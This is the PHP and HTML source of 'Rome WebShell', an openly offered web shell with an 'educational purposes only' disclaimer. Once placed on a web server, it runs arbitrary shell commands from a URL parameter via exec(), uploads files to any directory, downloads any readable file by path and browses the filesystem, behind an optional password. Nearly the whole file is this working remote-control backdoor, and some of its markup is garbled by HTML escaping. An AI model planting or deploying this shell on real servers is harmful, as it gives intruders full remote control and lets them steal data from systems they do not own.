&lt;!--     @author Caesarovich    @repository https://github.com/Caesarovich/rome-webshell    This code is for educationnal purposes only.    Malicious usage of this code will not hold the author responsible.    Do not pentest without explicit permissions.--&gt;    // Password protection, useful for King of The Hill games    $pass=&#039;&#039;; // Set to null to disable; Set to string to enable, must be the sha512 hash of the password.    if($pass != null) {        if (isset($_COOKIE[&#039;pass&#039;])) { // We use cookies and not url parameter for security reasons            // As it is likely that URL parameters are logged by the webserver, thus revealing the password            if (hash(&#039;sha512&#039;, $_COOKIE[&#039;pass&#039;]) !== $pass) {                echo &quot;Wrong password !&quot;;                exit;            }        } else {            echo &quot;Wrong password !&quot;;            exit;        }    }    // Upload file to the server    if (isset($_POST[&#039;upload&#039;])) {        $desinationDir = getDir();        $destinationFile = $desinationDir.&#039;/&#039;.basename($_FILES[&#039;file&#039;][&#039;name&#039;]);        if (file_exists($destinationFile)) {            echo &quot;&lt;script&gt;alert(&#039;Error: File already exists !&#039;)&lt;/script&gt;&quot;;        }        else if (move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], $destinationFile)) {            echo &quot;&lt;script&gt;alert(&#039;File uploaded successfuly !&#039;)&lt;/script&gt;&quot;;        } else {            echo &quot;&lt;script&gt;alert(&#039;Error: Could not upload file !&#039;)&lt;/script&gt;&quot;;        }        }    // Download a file from the server    if (isset($_GET[&#039;download&#039;])) {        $file = $_GET[&#039;download&#039;];        if (file_exists($file)) {            if (is_readable($file)) {                header(&#039;Content-Description: File Transfer&#039;);                header(&#039;Content-Type: application/octet-stream&#039;);                header(&#039;Content-Disposition: attachment; filename=&quot;&#039;.basename($file).&#039;&quot;&#039;);                header(&#039;Expires: 0&#039;);                header(&#039;Cache-Control: must-revalidate&#039;);                header(&#039;Pragma: public&#039;);                header(&#039;Content-Length: &#039;.filesize($file));                readfile($file);                exit;            } else {                echo &quot;&lt;script&gt;alert(&#039;Error: Could not read the file !&#039;)&lt;/script&gt;&quot;;                exit;            }        }    }    function printPerms($file) {        $mode = fileperms($file);        if( $mode &amp; 0x1000 ) { $type=&#039;p&#039;; }        else if( $mode &amp; 0x2000 ) { $type=&#039;c&#039;; }        else if( $mode &amp; 0x4000 ) { $type=&#039;d&#039;; }        else if( $mode &amp; 0x6000 ) { $type=&#039;b&#039;; }        else if( $mode &amp; 0x8000 ) { $type=&#039;-&#039;; }        else if( $mode &amp; 0xA000 ) { $type=&#039;l&#039;; }        else if( $mode &amp; 0xC000 ) { $type=&#039;s&#039;; }        else $type=&#039;u&#039;;        $owner[&quot;read&quot;] = ($mode &amp; 00400) ? &#039;r&#039; : &#039;-&#039;;        $owner[&quot;write&quot;] = ($mode &amp; 00200) ? &#039;w&#039; : &#039;-&#039;;        $owner[&quot;execute&quot;] = ($mode &amp; 00100) ? &#039;x&#039; : &#039;-&#039;;        $group[&quot;read&quot;] = ($mode &amp; 00040) ? &#039;r&#039; : &#039;-&#039;;        $group[&quot;write&quot;] = ($mode &amp; 00020) ? &#039;w&#039; : &#039;-&#039;;        $group[&quot;execute&quot;] = ($mode &amp; 00010) ? &#039;x&#039; : &#039;-&#039;;        $world[&quot;read&quot;] = ($mode &amp; 00004) ? &#039;r&#039; : &#039;-&#039;;        $world[&quot;write&quot;] = ($mode &amp; 00002) ? &#039;w&#039; : &#039;-&#039;;        $world[&quot;execute&quot;] = ($mode &amp; 00001) ? &#039;x&#039; : &#039;-&#039;;        if( $mode &amp; 0x800 ) $owner[&quot;execute&quot;] = ($owner[&#039;execute&#039;]==&#039;x&#039;) ? &#039;s&#039; : &#039;S&#039;;        if( $mode &amp; 0x400 ) $group[&quot;execute&quot;] = ($group[&#039;execute&#039;]==&#039;x&#039;) ? &#039;s&#039; : &#039;S&#039;;        if( $mode &amp; 0x200 ) $world[&quot;execute&quot;] = ($world[&#039;execute&#039;]==&#039;x&#039;) ? &#039;t&#039; : &#039;T&#039;;        $s=sprintf(&quot;%1s&quot;, $type);        $s.=sprintf(&quot;%1s%1s%1s&quot;, $owner[&#039;read&#039;], $owner[&#039;write&#039;], $owner[&#039;execute&#039;]);        $s.=sprintf(&quot;%1s%1s%1s&quot;, $group[&#039;read&#039;], $group[&#039;write&#039;], $group[&#039;execute&#039;]);        $s.=sprintf(&quot;%1s%1s%1s&quot;, $world[&#039;read&#039;], $world[&#039;write&#039;], $world[&#039;execute&#039;]);        return $s;    }    function formatSizeUnits($bytes) {        if ($bytes &gt;= 1073741824)        {            $bytes = number_format($bytes / 1073741824, 2) . &#039; GB&#039;;        }        elseif ($bytes &gt;= 1048576)        {            $bytes = number_format($bytes / 1048576, 2) . &#039; MB&#039;;        }        elseif ($bytes &gt;= 1024)        {            $bytes = number_format($bytes / 1024, 2) . &#039; KB&#039;;        }        elseif ($bytes &gt; 1)        {            $bytes = $bytes . &#039; bytes&#039;;        }        elseif ($bytes == 1)        {            $bytes = $bytes . &#039; byte&#039;;        }        else        {            $bytes = &#039;0 bytes&#039;;        }        return $bytes;    }    function getDir() {        return isset($_GET[&#039;dir&#039;]) ? realpath($_GET[&#039;dir&#039;]) : getcwd();    }    function makeFileName($file) {        if (is_dir(getDir().&#039;/&#039;.$file)) {            return &#039;&lt;a href=&quot;&#039;.$_SERVER[&#039;PHP_SELF&#039;].&#039;?dir=&#039;.realpath(getDir().&#039;/&#039;.$file).&#039;&quot;&gt;&#039;.$file.&#039;&lt;/a&gt;&#039;;        } else {            return &#039;&lt;a href=&quot;&#039;.$_SERVER[&#039;PHP_SELF&#039;].&#039;?download=&#039;.realpath(getDir().&#039;/&#039;.$file).&#039;&quot;&gt;&#039;.$file.&#039;&lt;/a&gt;&#039;;        }    }    function getFiles() {        $files = scandir(getDir());        $even = true;        if ($files != null) {            foreach($files as $filename){                //Simply print them out onto the screen.                echo &#039;&lt;tr style=&quot;background-color:&#039;.($even  ? &#039;#515151&#039; : &#039;#414141&#039;).&#039;;&quot;&gt;&#039;;                echo &#039;&lt;td style=&quot;font-weight:&#039;.(is_dir(getDir().&#039;/&#039;.$filename) ? &#039;bold&#039; : &#039;thin&#039;).&#039;;&quot;&gt;&#039;.makeFileName($filename).&#039;</td>&#039;;                 echo &#039;<td>&#039;.posix_getpwuid(fileowner(getDir().&#039;/&#039;.$filename))[&#039;name&#039;].&#039;</td>&#039;;                echo &#039;<td>&#039;.printPerms(getDir().&#039;/&#039;.$filename).&#039;</td>&#039;;                echo &#039;<td>&#039;.formatSizeUnits(filesize(getDir().&#039;/&#039;.$filename)).&#039;</td>&#039;;                echo &#039;</tr>&#039;;                $even = !$even;            }        } else {            echo &quot;&lt;p&gt;Couldn&#039;t open that directory !&quot;;        }    }    function getCmdResults() {        global $cmdresults;        global $retval;                if ($retval == 0 ) {            foreach ($cmdresults as $line) {                echo &quot;$line \n<br>&quot;;            }        } else {            echo &quot;Execution failed with error code: &quot;.$retval;        }        }    function getCommandLine() {        $hostname = gethostname() ?? &#039;none&#039;;        $username = posix_getpwuid(posix_geteuid())[&#039;name&#039;];        $dir = getDir();        $cmd = isset($_GET[&#039;cmd&#039;]) ? $_GET[&#039;cmd&#039;] : &#039;No command&#039;;        return &#039;&lt;span style=&quot;color: #19c42a&quot;&gt;&#039;.$username.&#039;@&#039;.$hostname.&#039;&lt;/span&gt;: &lt;span style=&quot;color: #0f7521&quot;&gt;&#039;.$dir.&#039;&lt;/span&gt;$ &#039;.$cmd;    }     // Execute a command on the server    $cmdresults;    $retval=null;    if (isset($_GET[&#039;cmd&#039;])) {        exec(&#039;cd &#039;.realpath(getDir()).&#039; &amp;&amp; &#039;.$_GET[&#039;cmd&#039;], $cmdresults, $retval);    }&lt;!DOCTYPE html&gt;<html>    <head>        &lt;meta charset=&quot;utf-8&quot;&gt;<title>Rome WebShell</title>        &lt;title&gt;Rome WebShell&lt;/title&gt;                &lt;script&gt;            function changeDir() {                const url = &#039; echo $_SERVER[&#039;PHP_SELF&#039;].&#039;?dir=&#039;&#039;;                const path = window.prompt(&quot;Enter the path you want to naviguate to (Eg: &#039;/home/user&#039;): &quot;);                if (path) window.location = (url + path);            }        &lt;/script&gt;        &lt;script&gt;            const popupHTML = `                &lt;div class=&quot;popup-container&quot; id=&quot;upload-popup&quot;&gt;                    &lt;div class=&quot;popup&quot;&gt;                        &lt;h4&gt;Choose a file to upload&lt;/h4&gt;                        <form>                            <input type=file>                            &lt;div class=&quot;popup-buttons&quot;&gt;                                &lt;button type=&quot;button&quot; onclick=&quot;hidePopup()&quot;&gt;Cancel&lt;/button&gt;                                <input type=submit>                            &lt;/div&gt;                        </form>                    &lt;/div&gt;                &lt;/div&gt;            `;            function showPopup() {                const body = document.getElementsByTagName(&#039;body&#039;)[0];                const bodyHTML = body.innerHTML;                body.innerHTML = popupHTML + bodyHTML;            }            function hidePopup() {                const body = document.getElementsByTagName(&#039;body&#039;)[0];                body.removeChild(body.getElementsByClassName(&#039;popup-container&#039;)[0]);             }        &lt;/script&gt;    </head>    &lt;body class=&quot;body-container&quot;&gt;           &lt;header&gt;            &lt;nav&gt;                <h1>&gt; Rome Shell</h1>                &lt;div class=&quot;nav-items&quot;&gt;                    &lt;a onclick=&quot;showPopup()&quot;&gt;Upload file&lt;/a&gt;                    &lt;a onclick=&quot;changeDir()&quot;&gt;Change Directory&lt;/a&gt;                &lt;/div&gt;            &lt;/nav&gt;        &lt;/header&gt;        &lt;div class=&quot;content-container&quot;&gt;            &lt;div class=&quot;explorer-panel&quot;&gt;                &lt;h4&gt;Exploring:  echo getDir()&lt;/h4&gt;                <table>                    &lt;tr style=&quot;background-color:#292929;&quot;&gt;                        &lt;th&gt;Folder / &lt;span style=&quot;font-weight: lighter;&quot;&gt;File&lt;/span&gt;&lt;/th&gt;                        &lt;th&gt;Owner&lt;/th&gt;                        &lt;th&gt;Permissions&lt;/th&gt;                        &lt;th&gt;Size&lt;/th&gt;                    </tr>                     getFiles()                </table>            &lt;/div&gt;            &lt;div class=&quot;command-panel&quot;&gt;                &lt;div class=&quot;command-output&quot;&gt;                    &lt;p&gt; echo getCommandLine()&lt;/p&gt;                    &lt;p&gt; getCmdResults()&lt;/p&gt;                &lt;/div&gt;                <form>                    <input type=text>                    <input type=hidden>                    &lt;button action=&quot;submit&quot;&gt;                        &lt;p&gt;Send&lt;/p&gt;                    &lt;/button&gt;                </form>            &lt;/div&gt;        &lt;/div&gt;        &lt;style&gt;            :root {                --background-color-1: #101010;                --background-color-2: #202020;                --background-color-3: #303030;                --background-color-4: #404040;                --primary-color: #0e9c15;                --secondary-color: #0f7521;            }            html, body {                width: 100%;                height: 100%;                margin: 0;                padding: 0;                background-color: var(--background-color-2);                            }            .body-container {                display: grid;                grid-template-rows: 50px calc(100% - 50px);            }            header {                z-index:1;                background-color: var(--primary-color);                box-shadow: 0px 2px 6px black;            }            header nav {                height: 100%;                display: flex;                justify-content: flex-start;                     color: white;                font-family: Arial, Helvetica, sans-serif;              }            header h1 {                height: 100%;                margin: 0;                margin-left: 20px;                text-align: center;                line-height: 50px;                font-size: 40px;            }            header .nav-items {                height: 100%;                width: auto;                margin: 0;                display: flex;                flex-grow: 1;                justify-content: flex-end;            }            header .nav-items a {                height: 100%;                margin-right: 30px;                color: white;                font-size: 25px;                text-decoration: none;                line-height: 50px;                text-align:center;                transition: ease-in 0.2s;                 }            header .nav-items a:hover {                color: #d0d0d0;                cursor: pointer;            }            .content-container {                height: 100%;                position: relative;                display: grid;                grid-template-columns: 30% 70%;                   }            .explorer-panel {                background-color: var(--background-color-3);                font-family: &#039;Trebuchet MS&#039;, &#039;Lucida Sans Unicode&#039;, &#039;Lucida Grande&#039;, &#039;Lucida Sans&#039;, Arial, sans-serif;                overflow-y: scroll;                scrollbar-color: var(--background-color-4) var(--background-color-3);                scrollbar-width: thin;                box-shadow: 0px 0px 4px black;                padding: 3px;            }            .explorer-panel h4 {                margin: 10px;                font-size: 20px;            }            .explorer-panel table {                width: 100%;                word-wrap: break-word;                border-spacing: 2px;                table-layout: fixed;                background-color: var(--background-color-2);            }            .explorer-panel table td {                padding: 1px 2px;            }            .explorer-panel table a {                color: var(--primary-color);                text-decoration: none;                     }            .explorer-panel table a:hover {                color: var(--secondary-color);                transition: ease 0.2s;            }            .command-panel {                    margin: 20px;                padding: 15px;                border-radius: 5px;                background-color: var(--background-color-3);                display: grid;                grid-template-rows: 93% calc(7% - 15px);                row-gap: 15px;                box-shadow: 0px 0px 6px black;            }            .command-output {                padding: 5px;                border-radius: 5px;                background-color: var(--background-color-1);                              overflow-y: scroll;                scrollbar-color: var(--background-color-4) var(--background-color-3);                scrollbar-width: thin;            }            .command-output p {                margin: 0px;                font-family: &#039;Gill Sans&#039;, &#039;Gill Sans MT&#039;, Calibri, &#039;Trebuchet MS&#039;, sans-serif;            }            #command-input {                display: grid;                grid-template-columns: 89% 10%;                grid-template-rows: 100%;                column-gap: 1%;            }            #command-input input{                height: 100%;                width: 100%;                border-radius: 5px;                border: none;                background-color: var(--background-color-2);                        color: white;                font-size: 200%;                      }            #command-input button{                height: 100%;                width: 100%;                border: none;                border-radius: 5px;                background-color: var(--background-color-4);                  cursor: pointer;            }            #command-input button:hover{                background-color: var(--primary-color);                transition: ease-in-out 0.3s;            }            #command-input button p{                margin:0;                color: white;                font-family: &#039;Segoe UI&#039;, Tahoma, Geneva, Verdana, sans-serif;                font-size: 150%;                font-weight: bolder;                line-height: 100%;            }            .popup-container {                z-index: 5;                position: fixed;                background-color: rgba(10,10,10, 0.6);                width: 100%;                height: 100%;                display: grid;                justify-content: center;                align-content: center;                grid-template-columns: 30%;                grid-template-rows: 35%;            }            .popup {                background-color: var(--background-color-3);                border-radius: 5px;                box-shadow: 0px 2px 6px black;                display: grid;                grid-template-rows: 20% 70%;                row-gap: 10%;                padding: 2.5%;            }            .popup h4{                text-align: center;                font-family: &#039;Courier New&#039;, Courier, monospace;                font-size: 23px;            }            .popup form {                display: grid;                grid-template-rows: 80% 20%;                grid-template-columns: 95%;                justify-content: center;                align-content: center;            }            .popup-buttons {                height: 100%;                display: inline-flex;                flex-wrap: wrap;                gap: 10%;            }            .popup-buttons button {                width: 45%;                background-color: var(--background-color-4);                border-radius: 4px;;                border: none;                font-size: 22px;                color: white;                transition: ease-in 0.2s;            }            .popup-buttons button:hover {                background-color: var(--background-color-2);                cursor: pointer;                        }            .popup-buttons input {                width: 45%;                background-color: var(--primary-color);                border-radius: 4px;;                border: none;                font-size: 22px;                color: white;                transition: ease-in 0.2s;            }            .popup-buttons input:hover {                background-color: var(--secondary-color);                cursor: pointer;             }        &lt;/style&gt;    </body></html>